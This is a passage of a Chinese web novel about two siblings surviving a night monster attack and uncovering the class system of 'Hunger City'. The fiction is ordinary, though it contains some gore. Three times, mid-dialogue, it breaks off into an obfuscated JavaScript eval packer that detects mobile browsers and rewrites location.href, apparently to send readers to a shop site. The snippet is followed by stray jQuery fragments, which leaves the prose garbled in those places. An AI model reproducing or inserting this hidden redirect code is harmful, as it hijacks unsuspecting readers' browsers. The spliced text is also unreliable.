“那就对了,盲带是整个饥饿城最混乱的区域,也是不受管控的区域,所以隔离墙不仅是用来隔绝风沙的,还有隔绝那边的人。” “哦,原来是这样。”成晏点点头,左手伸到她后脑勺扣住,然后用毛巾用力地擦了擦她的脸。 “你干嘛。我还没吃完呢。”阮时卿捶了他一下。 “那不行,听说热水只有晚上六点到八点才供应,必须早点洗。谁让你不吃饭?”成晏把水盆里的水倒进桶里,这些等会可以用来洗脚。 “学上头了嘛,有句话怎么说来着,知识就是力量!” “这就是你不吃饭的理由?”成晏倒完水,将脸盆又放回厕所,阮时卿跟了过去。 他转身靠在墙边,目不转睛地盯着她,“说实话,你今天真的没有遇到什么事吗?” 阮时卿噎了一下,咳了咳,“没有,就是准备升班考核,忙着复习呢。编纂官是阿尔法的一种职业,我必须得先当上阿尔法才能完成任务。” “哥,你相信我。”她目光灼灼,“只要我当上阿尔法,我们家也能好过一些。你看,你都晒黑了,皮肤都变糙了,隔离墙那边的活是不是很累?” 阮时卿伸出手,想要触碰他的脸,却被他侧身躲开。 她第一次见他这么回避,有些不解,“怎么了?” 成晏没有立即回应她,而是从她身侧经过离开厕所,走到客厅中央唯一的一小块空地立住。 也是进门后的那片走廊,墙壁上还挂着一些辣椒粉,味道有些刺鼻。 阮时卿有些急了,她发现成晏不理她或者自己一个人生闷气的时候她好像真的什么办法都没有。 “你今天状态不对。”他回过头来,声音很笃定。 “哪里不对?” “精神异常亢奋,而且……”成晏举起右手,无名指上的素白戒圈亮得刺眼,“你今天很紧张,我都知道。” 28. 狩猎夜 阮时卿忘了,他们已经被共感链接彻底绑定,除非摘下同心戒,否则她有任何异常的变化他都能察觉。 不说只是因为都过去了,不想让他跟着一起担心,但看着他眼底深深的阴影,她又有点愧疚。 “不想说就不说。哥哥也没有怪你。” 成晏揉了一把她的头发,又转身去把自己袋子里的东西拿了出来,是一块深色的布料,被叠成了小方块。 “只是我一直记得,那次你在学校受了欺负回来把自己关在房间里的样子。”他说。 从那以后,比起言语,他更擅长从表情和动作揣摩她的心理。 一时间谁也没说话,成晏拿着布料踩上通往上铺的楼梯,然后抻开铺在僵硬的床板上。 阮时卿挣扎了一下,最终还是走过去拽了拽他的衣角,把原委道出,包括今天差点被当成污染者的事情。 成晏迅速铺好,然后伸手握住了她拽着的衣角的指尖,拢在掌心,“这么懂事干什么?” 阮时卿诧异地抬眼,他的掌心从手腕处上移,还没反应过来就被他揽进怀里。 “肯定吓坏了吧。”落在头顶呼吸有些紧,也很烫,他说,“你做得很好,有勇气也有智慧,最后也平平安安回到我身边了。” 阮时卿没由来地感到一阵心慌。她知道,这种情绪是他传递过来的。 她反倒放松下来了,笑了笑说,“还以为你会说我莽撞。” “我不觉得如果我身处你的境地我会比你做得更好,哪有资格这样说。”他顿了顿又说,“身为你的哥哥也不行。” “你刚刚拿的什么?” “忘了说了,”成晏微微拉开一点距离,手却没松,“我在尘壁区和盲带之间发现一个地下黑市,这点布料是我用配额换来的。床板太硬了,怕你把腰闪着。” “地下黑市?”阮时卿震惊地抬头,然而她第一时间想到的是他的配额,“你也没吃饭?” “哪有那么傻,还是给自己留了一点的。” 阮时卿急不可耐地追问,“那黑市……” 她刚开口,身后的门便传来响动,一阵冷风猝不及防地从室外涌入。 是他们回来了! 阮时卿眼疾手快地推开他的胸口,然后拿出自己的小抄开始读:“饥饿城的地理位置分布……” 成晏杵在她身边,像监督她一样。 女人皱了皱眉,走到餐桌前,旋着墙壁上一个把手,很快那桌面降了下来,和两旁的座椅齐平,原来那就是他们的床。 男人面带疲色,紧跟其后,浑身散发着一股令人作呕的腥气,“今天有个欧米伽来我们厂选人去琉璃城的第一二厂。” “你怎么没去?” “要年轻要眼素干净的,我看77就挺合适。” 趁他们说话,成晏拉着阮时卿进了厕所,然后把门关上。空间狭窄,他们的身体紧挨在一起。 成晏个子高,体型也壮,却硬是往马桶和水龙头那边挤,让阮时卿能站得更轻松。 他率先开口,“今天我在尘壁区看到的大多都是只有一只眼睛的伽马。” 阮时卿点点头,“和我学的也对上了,只有一只眼的是伽马,三只和四只眼都是阿尔法,五只眼就是欧米伽,但是据说住在止饥塔里的更多。” 成晏思索半晌,“这些都能通过眼素谱看出来吗?” “这个还不知道,明天我才复习到眼谱的知识,但我猜应该是能看出来的。” 阮时卿忽而有些泄气,“哥,你说万一我考不上怎么办……那个老头对我虎视眈眈的,我怕哪天他把我卖了。而且考不上意味着当不了编纂官,也就完不成任务。” “怎么给自己这么大压力?”成晏语气很轻,就像在谈论一件很平常的事,“以前上学的考试,考差了也没见天塌下来。” “可是这不一样。要是完不成任务,可能会死的……” 成晏没有第一时间反驳她,也没有任何不耐烦的情绪。只是微微俯身,平视她说,“卿卿,听我说,这个副本本来就是有难度的,按照你的说法,升班考核通过率那么低,大部分玩家应该都做不到。” “是啊,可能它就是只想极少部分玩家通关呢?”阮时卿质疑道。 成晏摇了摇头,“那这个副本就太常规了,通关方法过于明确,反倒不太符合它的难度。” 他的态度始终是轻拿轻放,没有从一开始就把某件事灾难化设想,因此情绪也很稳定。 情绪的能量很强大,比逻辑更有传染力。有时候两个人争辩某件事情,也许事情本身并不复杂,但情绪上头了容易激发矛盾。 他也从来不否定她的想法和情绪,而是顺着她往下引导。否定和责骂一样,本质上都是在抬高己见的前提下打压对方,是一种掌控的手段。 阮时卿茅塞顿开,也变得轻快起来,“哦,你的意思是,也许会有其他的通关方法?是我思路狭隘了。” 成晏笑着点头,“聪明。你的思路很好,只是当局者迷。况且这才第一天,你掌握的关键信息已经够多了,不应该夸夸自己吗?” “哥哥,你不阴阳怪气的时候还是挺招人喜欢的。你简直是全世界最好的人。”阮时卿抱着他的胳膊心花怒放。 “喜欢的时候就喊哥哥,是全世界最好的;不喜欢的时候连名字都不喊,全世界最坏。晴雨表变化都没这么快。” “你要是不说这话你在我心里的形象还能高尚那么1秒钟。” 现在是晚上九点,外面的天已经黑得彻底,道路上变得极其安静,连脚步声都没有,似乎到了宵禁时间。 “啊——” 一声尖叫忽然撕裂黑夜,听样子就在不远处。 “它们又开始狩猎了。” “唉,晚上就是不太平,必须把门窗都锁好。” 男人和女人似乎并没什么惊怪,只是正打算关灯,就听见厕所门开的声响,两个朦胧的身影一同从里面出来。 “你们俩都在厕所干什么?”女人吓了一跳,手抖了一下。 “呃……”阮时卿有些尴尬,总不能说都在上厕所吧。 成晏回答得很快,仿佛早就想好了措辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069834|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“妹妹学习上有一些不会,我在辅导她。厕所安静,不会打扰你们说话。” “行了行了都别说话,免得它们听见。”男人打断他们,用气声示意,“都找个地方躲好。” 它们是谁? 阮时卿还想追问,却被成晏再次推入厕所,门也被他反手锁上了。 阮时卿:……干嘛。 这时窗外忽然窜过一团蠕动的黑影,倒映进漆黑的屋内。它蠕动得很慢,一点一点地“爬”过窗前。 男人和女人瞬间瞪大了眼睛,死死地捂住嘴,瑟瑟发抖。 很快一阵惊响从附近传来,伴随着纷乱的脚步,各种各样的惨叫此起彼伏——似乎就在隔壁。 惨叫逐渐消湮,地板上却传来重物倒地和拖拽的动静,随后响起令人不寒而栗的吞咽咀嚼声。 五分钟后,所有的动静都消失了。“它”也像是离开了。 女人松了口气,腿也蹲麻了,扶着墙壁直起身来,小声说,“应该没事了。” 成晏刚想说点什么,余光便瞥见一团粘稠的黑色液体从门缝里流了进来。 厕所里—— 外面漆黑一片,什么声音也听不到,阮时卿只能在这干着急。 她想说话,又怕惊扰了什么东西,想让成晏把门打开又不知道该怎么做。 不过没有声音,应该就是最好的消息,说明没出事。 阮时卿的心情稍稍安定下来,坐在马桶上悄悄发动异能去捕捉门外的任何声音。 随后她猛地睁开眼睛,冷汗涔涔。有一团不可名状的东西正在大门外的走廊上来回蠕动,地板发出极其细微的“沙沙”声响。 随后那股声音从门缝下蔓延到了门内。 不好! “砰——” 像是有什么重物砸在外面的墙上,引起剧烈的颤动和巨响。 一阵急促的脚步紧随其后,门外的动静瞬间大了起来,似乎有猛烈的风刮过,将什么东西掀翻碾压在地。 “它……它在头顶!”男人惊恐出声。 不知发生了什么,那阵风戛然而止,阮时卿好像听到了成晏压抑的闷哼,再也没办法保持冷静。 “开门!快给我开门!” 她急不可耐地拍门,忽地感觉到一团粘稠而模糊的黑物从脚底爬上了门板。从中间的玻璃隐约能看见一颗鲜红色的布满粘液的肉瘤正在它中央剧烈地搏动着。 四只暗红色的眼球转了过来,贴在了玻璃上,深深地凝视着她。 阿尔法? 阮时卿立刻紧闭双眼,避免因凝视而带来的强烈精神冲击,将所有的注意力都放在听觉上。 “咔嚓——” 门开了。 一条黏腻的“手臂”从那团黑影里分化出来,挤入门缝,罩住了她的脸,亲昵地“抚摸”她的眼睛。 彻骨的寒意瞬间浸透了阮时卿的四肢百骸。 “呃——” 脖颈猛然一紧,窒息感伴着巨大的拉力袭来。她踉跄着被拽出门外,额头狠撞在门框上,温热的液体顺势淌下。 29. [锁] 该章节由作者自行锁定 好痛。 阮时卿被拽到了客厅的地板上,血渍流到眼睛里,把那四只眼的怪物也染成了鲜红。 绞缠在脖颈上的东西越来越紧,似乎是想让她窒息而死。 剧痛之中,她竭尽全力利用异能去定位那颗血瘤的位置,可潮水般的窒息感让她始终无法集中注意力。 右手还紧握着厕所那块玻璃碎片,反复挣扎着抬起,最终还是无力放下。 “谁允许你动她的!!” 随着一声暴喝,气压骤然降低,四周的风刃带着戾气凶狠地袭来,刹那间便将那条“手臂”切成两半。 窒息感瞬间褪去,阮时卿劫后余生般大口地喘息。 怪物尖叫一声,将残肢收回,四只眼睛猛地睁大去锁定声音来源——角落里扶着墙勉强站起来的成晏。 他用的左手。 右臂像是没有骨头般软绵绵地挂在他的右肩,鲜血从他的头顶淋漓直下,浸透双眼。他却浑然不觉似地,一步步朝怪物走来。 “哥!”阮时卿心痛得不能自已,扯着嘶哑的喉咙喊出声,“你别过来!快走!” 成晏却恍若未闻,直直地走过来。 这怪物太强了,本体是一团可以随意变化的黑色胶质物,无数条“手臂”从它的身体里分化出来,在靠近它之前都会被它锁死。 她再次握紧了手上的碎片,哪怕皮肤被割伤了也不在意,可正准备冲上去的时候成晏已经走到了怪物面前。 怪物暴躁地甩动着黏腻的长臂,却始终没有对成晏下手,像是找不到目标一样,恼羞成怒,盲目而狂乱地拍打在空气里。 成晏做出了一个谁也想不到的举动。 完好的左手没入怪物湿滑的躯体,伴随着令人牙酸的血肉搅动声,他收拢五指,将那颗尚在鼓动的温热肉瘤连筋生拽了出来。 那是它的心脏。 怪物凄厉地惨叫起来,很快瘫伏在地再也无法动弹,眼球还没来得及闭上。死不瞑目。 那颗肉瘤被他嫌恶般地扔在地上,眼中一片淡漠,“这是你应得的。” 当他抬起头,触到阮时卿怔愣而陌生的目光时,像是耗尽了所有气力,直直地倒了下去。 “哥——!” 阮时卿拔腿向他奔过来,扶起他的头让他靠在自己身上。他的脸早已经被鲜血浸透,看起来毫无生气,眼周还有一圈像白沙一样的东西渗进了皮肤。 “成晏你别这样!别死啊!你死了我也不活了!”她一边哭一边打开系统背包,“你撑住!” 下一秒,他的左手伸过来,似乎是想握住她的指尖,快要触到时目光又在满手的污血上凝固了。 手收了回去。 “还没死,别怪哥哥。”他说。 “你在说什么啊。我怪你干什么。”阮时卿又哭又笑,“你都这样了还是别说话了。” 她点击【万能医疗箱】,很快系统弹出提示—— 【确认对您的绑定体代号006使用?】 【确认】【取消】 她立刻按下了确认键。 效果立竿见影。成晏头上的伤口瞬间愈合,断了的右臂也恢复正常。 他直起身来,心疼地看着她额角磕出的痕迹,“你的伤口也需要处理……” “你吓死我了!”阮时卿一头扎进他怀里,哭得震天动地,“我刚才真以为你要死了!” 他的身体有一瞬间的僵硬,很快又放松下来,唇角勾起柔软的弧度,却不敢回拥,“都是我的错。但是我现在身上脏……你先……” “你不脏!我就要抱!”像是为了报复他似的,她又说,“不仅如此,我还要把眼泪和血都蹭在你身上…… “要脏我们一起脏。要死我们也……” 还没说完,嘴就被他死死捂住。 他板起脸来,“不许胡说八道。那个字也不许说,再说我就……” “你就怎么样?”阮时卿眨了眨湿漉漉的眼睛。 成晏猛地拉过她拥在怀里。也不管什么脏不脏的了,“不怎么样。我什么时候拿你有办法过。” 于是呢,当几个阿尔法闯入门内时,看到的就是三具躺在地上的尸体,一颗坏死的心脏,和一对拥在一起的人。 “我们是不是来晚了?”有个阿尔法问。 “来晚了。”另一个阿尔法目瞪口呆,“竟然有贝塔独自解决了污染者?简直闻所未闻。” …… 事后就是阮时卿先被送去了医院,成晏则去了阿尔法高塔接受笔录。 “长官,污染者的眼素提取出来了,编号是α-147,是琉璃城的一名审定官。” 听到汇报的三眼阿尔法面色愈发凝重,挥手让人下去。 坐在他对面的男人开口了,“没想到这么高阶层的人也会是污染者?” “是啊。他们简直就是在挑战饥饿城的秩序!无法无天!自从那个什么盲盐一出来,这些年污染者就越来越猖狂了……” 越说越激动的阿尔法长官忽然止住了声,抬眼朝面前的男人打量,虽然男人只是个贝塔,但无论是身材还是气质,都与普通的贝塔有莫大的区别。 他充满了好奇,“你是我见到过的第一个能从污染者口中活下来的人,你们是怎么解决它的?” “我们没有解决它。”男人不紧不慢地开口,“污染者自爆了。” “自爆?”阿尔法长官放下笔,有些怀疑,“现场的那颗心脏又是怎么回事?我们在那上面查到了你的指纹。” “它死后自己出来的。我只是好奇拿起来看了一下。” 男人顿了顿,补充道,“污染程度越高越不稳定不是吗?私吞同类,它们是在自寻死路。我们的父母也被他害死了。” “的确有这样的先例。”阿尔法点了点头,拿着笔在纸上记录着什么,“这些污染者惯常会在夜晚出来狩猎,你回去后把门窗都加固一下,晚上不要出门。” “至于你们的父母,遗体会由我们保存并火化,之后不需要再担心。”阿尔法语气淡淡地交代着,似乎不是在处理一件与人命相关的大事,而是普通的事故。 “你可以走了。” 男人道谢,抬眼看了下墙上的钟表,已经是第二天早上,该去医院了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079640|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 医院的走廊充满了消毒水的味道,每个病房都挨得十分紧凑,一间病房内大约是十至十二个病床。 成晏换了一身崭新的贝塔制服,找到病房后,发现头裹纱布的阮时卿正拿着笔记蹲在角落里背得十分沉浸。 “这么用功呢,”他盘腿陪她坐在角落,“不知道的还以为你要再战高考了。” “欸,哥你回来了。”阮时卿把笔记放下,“他们问你什么了?” “不急。”成晏的手轻触在她的头上,“头还疼吗?” “说实话当然是有一点。”阮时卿摆出一副苦兮兮的表情,果然在他脸上看到了自责和愧疚。 于是下一秒又喜笑颜开,“就知道你会这样。医生说了已经没事了,脑子没撞坏。” “疼是一回事,功能有没有损坏是另一回事。”成晏不同意,“疼当然要说出来。要是当初在商城买个止痛药就好了。” “你是来接我去学校的吗?”阮时卿移开话题,“那现在走吧,我还赶着上课呢,迟到了又要扣配额了。” 成晏:…… “那先把早饭吃了。”他递过来两支标准营养膏和一杯水。 阮时卿接过,完成任务似的嚼着软膏,越吃越没味道,“哦对了,我还忘了问你了,昨晚上为什么那个怪物不攻击你?” 成晏拿出了之前在结算空间获得的道具——盲盐。 阮时卿目瞪口呆地看着那一小瓶晶体,“就因为这个?” 怪不得,当时他的眼周确实有一圈白色的东西,她还以为是风刮进来的沙子。 “那你怎么知道那个怪物不会攻击……” 为了避免旁人听到,成晏抬手示意过来一点。阮时卿立刻照做。 然后他揽着她,将脸凑到她耳边,呼吸温热,字句清晰。 “因为我是你哥哥,所以什么都知道。” 然后获得了阮时卿一记眼刀。 “听这话的年纪已经过去了,你是不是忘了你妹已经开智了?”她无语地嚼下一块膏体。 言外之意就是不好骗了。 “我当然知道你长大了。现在都能独当一面成为阿尔法了。”成晏欣慰地看着她说,“但那也不妨碍我是你哥哥,对吧?” “行行行,我喊你一辈子哥哥。”阮时卿催他,“快说你怎么知道的。” 听到这话成晏又不高兴了,他又往旁边挪开了一点,朝墙顶那排小得可怜的窗户看去,“今天天气真好。” 实际上现在外面黄沙弥漫,哪看得见天。 阮时卿敏锐地察觉到他的变化,只觉得这个人莫名其妙,喊他哥又不乐意了,“成晏,你到底要干什么?故意吊我胃口?” 没想到成晏忽地转头看过来,眼里竟有了泪意,“一辈子太久了。” “什么?”阮时卿没听懂。 “我说,”成晏揉了揉她的头发,又坐了回来,“我会陪在你身边一辈子。” 黄沙褪去,天光大亮之前。 有些话在唇腔里千回百转,百转千回,终究无法脱出口。 【我不要你喊一辈子哥哥。】 30. 第九厂 “好了好了,不逗你了。”成晏拿起那个小瓶子晃了晃,“言归正传。你知道那两个人是怎么死的吗?” 阮时卿愣了半晌,才明白他指的是副本内的“父母”,那两个NPC。 “还真不知道,当时光顾着你的伤了。” “其实当时污染者最先攻击的是我,但我用了异能,没让它得逞,但是他们没躲过去。然后……它吃掉了他们的眼睛。” 成晏说起这话时,并没有很多的情绪,像是在旁观别人的人生。 “眼睛?” “对,只有眼睛。”成晏点头,“之前都说污染者私吞同类,但我们都不知道他们为什么要这么做。现在看来,就是为了眼睛,或者说眼睛里的什么东西。” “哦我想起来了。”阮时卿用力一拍他的大腿,“当时那怪物还摸我眼睛来着,它肯定也想吃我的眼睛。” 再联想之前了解到的各种知识,她很快就有了答案。 “肯定是为了眼素。”阮时卿果断下了定论,与此同时她也明白了—— 眼素是可以被吃掉的。 而吃掉是会有好处的。 “为什么?”成晏的唇角勾起淡淡的笑容,“说说看。” “你看啊,之前我跟你说的,整个饥饿城从里到外,从上到下,阶级分明,而眼睛数量是很重要的依据。” 说到这,阮时卿还有点愁色,“之前我一直想不通为什么有人能有四五只眼睛,到底是怎么异化出来的,现在我明白了。” 她的眼里有了怒意,“最开始说不定就是通过吃人得来的。 “然后就有了眼素,吃掉眼睛就等于吃掉了眼素,一样可以‘进化’。这才是污染者真正的目的。” “没错。”成晏的眉梢染上鲜明的笑意,“所以啊,你看,只要让污染者觉得我没有眼素,是不是就没有价值了?那就更谈不上攻击我了。 “而当时盲盐的介绍是怎么说的,说可以让人暂时变‘盲’,肯定不是让人真的失明,并且还是关键道具,我就猜与这个眼素有关了。” 阮时卿若有所思地点点头,同意了他的说法。 但细想之下很快就找到了逻辑的漏洞,目光似炬,“不对!你说的不对,觉得你没有价值和攻不攻击你是两回事。你在避重就轻!” 她气得狂戳他的胸口,惹得他举起双手投降,“就知道瞒不过你。你继续说。” “没有价值但有威胁一样也可以杀了你,但当时的情况是怪物并没有那样做,更像是你在它面前隐身了一样。”阮时卿盯着他的眼睛,十分执着于那个答案,“你怎么能确定涂了盲盐就能让怪物对自己视而不见?” “不确定。”他回答得很快。 阮时卿:? 这态度太过理气直壮以至于她一时间不知道该说什么。 “当时那种情况,你受伤了,我也受伤了,我能想到的办法只有两个:第一,我用异能拖住它,然后你逃出去;第二,如果盲盐奏效,我们都能活。” 成晏很坦然地公开了自己的心理过程,“不奏效么,那也能拖住那个怪物一会了,你也能逃出去。” 阮时卿:……?这算什么解决办法? 他看着阮时卿一脸凝重和愤懑的表情,拇指蹭了蹭她的唇角,“怎么这样看着我?结果不是很好吗,我们还另外试验出了一个有效消息——那种状态下的污染者只能靠眼素识人。 “所以只要有了盲盐,以后晚上我们就都不用怕了。” 阮时卿拿他没办法,泄气地坐在一边,“说这种话,你又只考虑我,不考虑自己。付出行动的是你,承担后果的也是你,生的机会却给我。” 成晏静默了一阵,没理解她话中的意思,好半天才说出来一句, “那不是应该的吗?” 在他的观念里,哥哥就是应该保护妹妹的,生来如此,天经地义。 所以她言下的控诉和埋怨他自然也看不出来,不明白她在不满什么。 算了,阮时卿不和他争这个,她把思路捋了捋,“所以那个盲盐是不是大概就是一个遮掩眼素谱的东西?这么说的话,那污染者是不是只要涂上了这个,是不是就看不出来了?” “你说得对,这应该就是污染者猖獗的原因。” 他盯着那个大约只有20g的小瓶子看,“所以……这个盲盐真的是一个很关键的道具,就是不知道来源是哪里。” “那这么说,是不是也可以通过成为污染者当上编纂官然后通关??” 阮时卿心里一惊,这不是逼她去吃人吗? 说不定还真的会有别的玩家这样做。 “可以是可以,就是有点难度。”成晏眼神一凛,“这个副本果然没想象中那么简单。” 阮时卿越想越乱,结果突然嚼到一个硬邦邦的东西,眉头蹙了蹙,从嘴里吐了出来。 一截深褐色的干瘪锯齿状肢节,边缘长满黑硬的刚毛,断口处还连着一丝白色肉筋。 是残缺的蟑螂腿。 和软膏是混在一起的,更像是没加工完全的产物。 她大惊失色,干呕了几下,想把刚才吃的东西全吐出来。 “别吃了。”成晏拽下她手里还剩小半截的灰褐色软膏,面色很沉,“这东西果然不干净。” “什么叫果然?你之前就知道?” “只是怀疑,它的口感太奇怪了,带点腥味,但不确定。” 阮时卿还想找借口,“会不会是不小心混进去的……” “就算是这样,那里的环境肯定也不怎么样。”成晏的手攥得很紧,显然是真的动怒了,不过很快就恢复一贯温和的面孔。 “好了,没事了,我带你出院去学校。” …… 到了学校以后,又是那个贝塔老师来给阮时卿上课,而且是单独上课。 她想过为什么她会这么受重视,明明她的成绩并不怎么样,但这个时候她还没想明白。 直到她上完了【眼素谱甄别】这门课程,了解到辨别眼素谱的复杂知识。 她才知道,原来并不是她有当阿尔法的资质,而是饥饿城的秩序需要她这种能力。 眼素谱按照瞳孔,眼瞳和眼周一共分为里外三层,最外层是最容易看出来的,颜色越浅代表这个人等级越低,而如何区分浅深有一套复杂的色谱,需要记忆; 而眼瞳周围的圆形波纹锯齿状越多,代表眼素质量越低,说明此人平时营养不良; 至于最中间的瞳孔,最小,也是最难辨别的。中心会有一小段波普,一般是正常的起伏,但偶尔也会有断裂、平行或交叉的情况,大多数代表眼素纯度低,说明此人吞食了同类的眼素,产生了排异反应。 也就是说,从眼素谱上不仅能看出此人处于什么阶层,也能看出他平时的生活水平和…… 是不是污染者。 这是独属于阿尔法阶层以上的能力。 “老师,我有问题。”阮时卿又举起了手。 “你又……” 本来十分不耐烦的贝塔老师抬起头时,立马换上了一张和煦温柔的笑脸,毕恭毕敬走到她面前, “你好,77同学,你又有什么问题?我会为你耐心解答。” 阮时卿像个勤学好问的好学生似的,脸上写满了对知识的渴望。 “老师,假如一个人没有眼素谱,我是说……看不出来他的眼素谱,会怎样?” “不会有这种情况。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089306|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贝塔老师又走回台前,斩钉截铁地说,“眼素谱是人与生俱来的东西,每个人生下来就要去上眼素谱户口,没有眼素谱,相当于不存在。” 看来她还不清楚盲盐的事情,阮时卿心想。 这是不是也侧面印证了盲盐的稀缺性和大众对它的无知? “老师,假如有些人天生眼素谱就比较弱怎么办?眼素质量差,纯度也低。” “它们会被送到盲带,那才是他们的归宿。” “老师,饥饿城外有什么?有人出去过吗?” “没有,外面已经被黄沙占据,出去了也是死。” “老师,食种是去干什么的?” “食种是去享福的。”说到这,贝塔老师脸上忽然有了幸福真实的笑意,“止饥季三个月一次,每次来临之前,都需要在各个城区抽调一批公民录入食种名单,那些人会通过深铁送达止饥塔,从此将会走向命运的巅峰。” 深铁,在通识课上普及过了,是旧世纪建造的一条地铁,末日以后因被风沙掩埋而被遗弃。 饥饿之母是在这条地铁的基础上一手建造起饥饿城的。地铁最初侵蚀损耗较为严重,后来才被修复完好。 不过琉璃城地下的深铁多修出来了一截延伸到地面以上的轨道,在地面上又化作一条蜿蜒的栈道,以近乎垂直的角度攀附着止饥塔,一路延伸至塔顶,极其壮观。 也就是说,止饥塔的深铁并不在地下,而是在地面上。 深铁串通了各个城区,可以说是饥饿城的连接中枢,是最重要的交通通道。 阮时卿本来以为,成为食种应该不会有什么好下场,可当听到她说各个城区都会抽调,岂不是说明那些阿尔法甚至欧米伽也会进入食种名单? 她有些怀疑了。 “老师,最后一个问题,饥饿之母是最初的多眼之人吗?” 听到这贝塔老师的脸色突然一变,言语也变得严厉起来,“这不是你该问的。” * 那天回家以后,阮时卿在成晏身上闻到了非常刺鼻的味道,有点像那个男人回来时带来的气味。 家里没有了外人在,他们相处自在了许多。 门一关上,阮时卿就一本正经地在他身上左摸一下又摸一下,不过没摸到什么。 像极了小时候他回来理直气壮地在他口袋里摸有没有好吃的。 她凑近了闻,越近那股味道就越明显,混着他原本清爽的体香,也不算臭,就是有点腥。 成晏也不阻拦她,就看着她像小狗一样在自己身上到处翻找,“是在找有没有好吃的?” “你不对劲。”阮时卿眯起眼睛盯着他,“你今天去哪里了?” “原来是要查岗。”成晏弯起唇,拉过她的手走到饭桌旁坐下,然后挺直背脊装模作样地咳了咳,“那我一一报备给你听。” “首先,早上六点准时去医院接某个小伤员去学校,然后七点到盲带隔离墙工作,一直忙到下午四点,我提前干完活就走了。” “去哪了?应该不是回家吧。”阮时卿有些想笑,不过还是假装严肃。 “的确不是回家。我去了第九厂。” “第九厂?!”阮时卿知道那是那个男人工作的地方,之前还想把她也能弄进去。 “嗯。我知道你的疑问,”成晏顿了顿,“我去那是因为那里是生产标准营养膏和劣质营养膏的地方,也就是你今天早上吃的东西。 “我接下来说的话可能会有些让人难以接受,所以等你做好准备了我再说。” 阮时卿沉默了,先前那么逗她原来是为了铺垫这一刻的沉重么?怕她接受不了? “你说吧。” “那里的原料只有蟑螂和沙蚕。” 31. [锁] 该章节由作者自行锁定 意料之中但无法接受的答案。 阮时卿从来没想过有一天自己会亲口吃掉蟑螂。 怪不得她吃完并没有饱腹感,也怪不得吃完会隐约觉得恶心,只是在加工的时候添加了大量添加剂掩盖了原本的味道让她一开始并没有怀疑。 蟑螂生活在充满病原体的环境中,携带大量病菌。按理来说如果将它作为食物配额供给给贝塔和伽马,长期下去会导致人们极易患病,人口减少,这并不利于整个饥饿城的稳定。 但上等人如此肆无忌惮,应该不仅因为视下等人性命为草芥,更可能是…… 进化论。 在早期的试验中,只有抗病菌的人们才能活下来,因而导致人类的体质整体完成了一轮进化。 “哥。”阮时卿忽然定定地看着他,“你没事吧?” “怎么这么问?”成晏笑了下,大概明白她在担心什么,“放心,用了一点小手段,没有被发现。再说,我要是有事,你肯定有感觉。” “那就好。” 阮时卿犹豫了一下,还是把自己的想法说了出来,“我一定会当上阿尔法,到时候我们就不用再吃这种垃圾。” 成晏并没有太大的反应,只是静静看了她一会,唇角弯起淡淡的弧度, “态度严肃得像立军令状一样。不过,不需要你来做这种承诺。 “没照顾好你,本来就是我的责任。你承担了算怎么回事?” 阮时卿不高兴,“这不是谁承担的问题,我是家里的一份子,当然也有责任啊,而且我有自信……” 她的话止在了下一秒。 因为桌上忽然凭空出现了一大堆东西——红烧牛肉、咖喱鸡肉等好几袋自热主食包,二十包压缩饼干,燕麦片、黑芝麻糊等冲泡食品,以及一些无火加热袋、勺子、筷子、调味料等附件包。 这些食物对她的冲击力太大了,自末日以来就没吃过几顿好的。 成晏就是考虑到这点,才没有和她继续无意义的争论,吃好喝好才是最重要的。 “这是你买的军用单兵口粮,性价比确实高,足够我们撑过接下来一个星期了。” 他开始动手加热自热主食包,修长的五指灵活穿梭在食物中间,撕开包装、倾倒、搅拌、加热…… 和他在野外训练时大差不差。 “条件有限,将就着吃吧。” 加热完成后,成晏把香喷喷的红烧牛肉饭推到阮时卿面前,然后把筷子递给她。 只有一双筷子,他没有吃。 “谢谢哥哥。” 阮时卿又把饭推回到他们中间,接着筷子在饭中央划出一条中界线,直到两边看起来等量均匀,才把其中一根筷子塞到他手里。 “中间这条是互不侵犯线,谁先吃完谁就赢了。” 她也不管他什么反应,扔下这么一句就开始低下头拿一根筷子扒饭吃,肉夹不起来就戳进去再串起送进嘴里。 “跟我比吃饭?”成晏看破不说破,也跟着一起,“这件事上你哥我还是更有竞争力。” “我看是作弊更有竞争力,你到底会不会戳,把你那边的肉都戳到我这边来了!” “光明正大不叫作弊。” “……?” * 第二天是升班考核的日子。 一共十一人参加考核,都由贝塔老师聚集在考场外的会堂内,先通过人工检验,即没有携带小抄和作弊工具。 然后等待正式开考。 考核内容由【基础通识考核】和【眼素谱甄别考核】两部分组成,先进行前者。十一人轮流抽取号码牌,按顺序依次进入考场。 阮时卿抽到了3号。 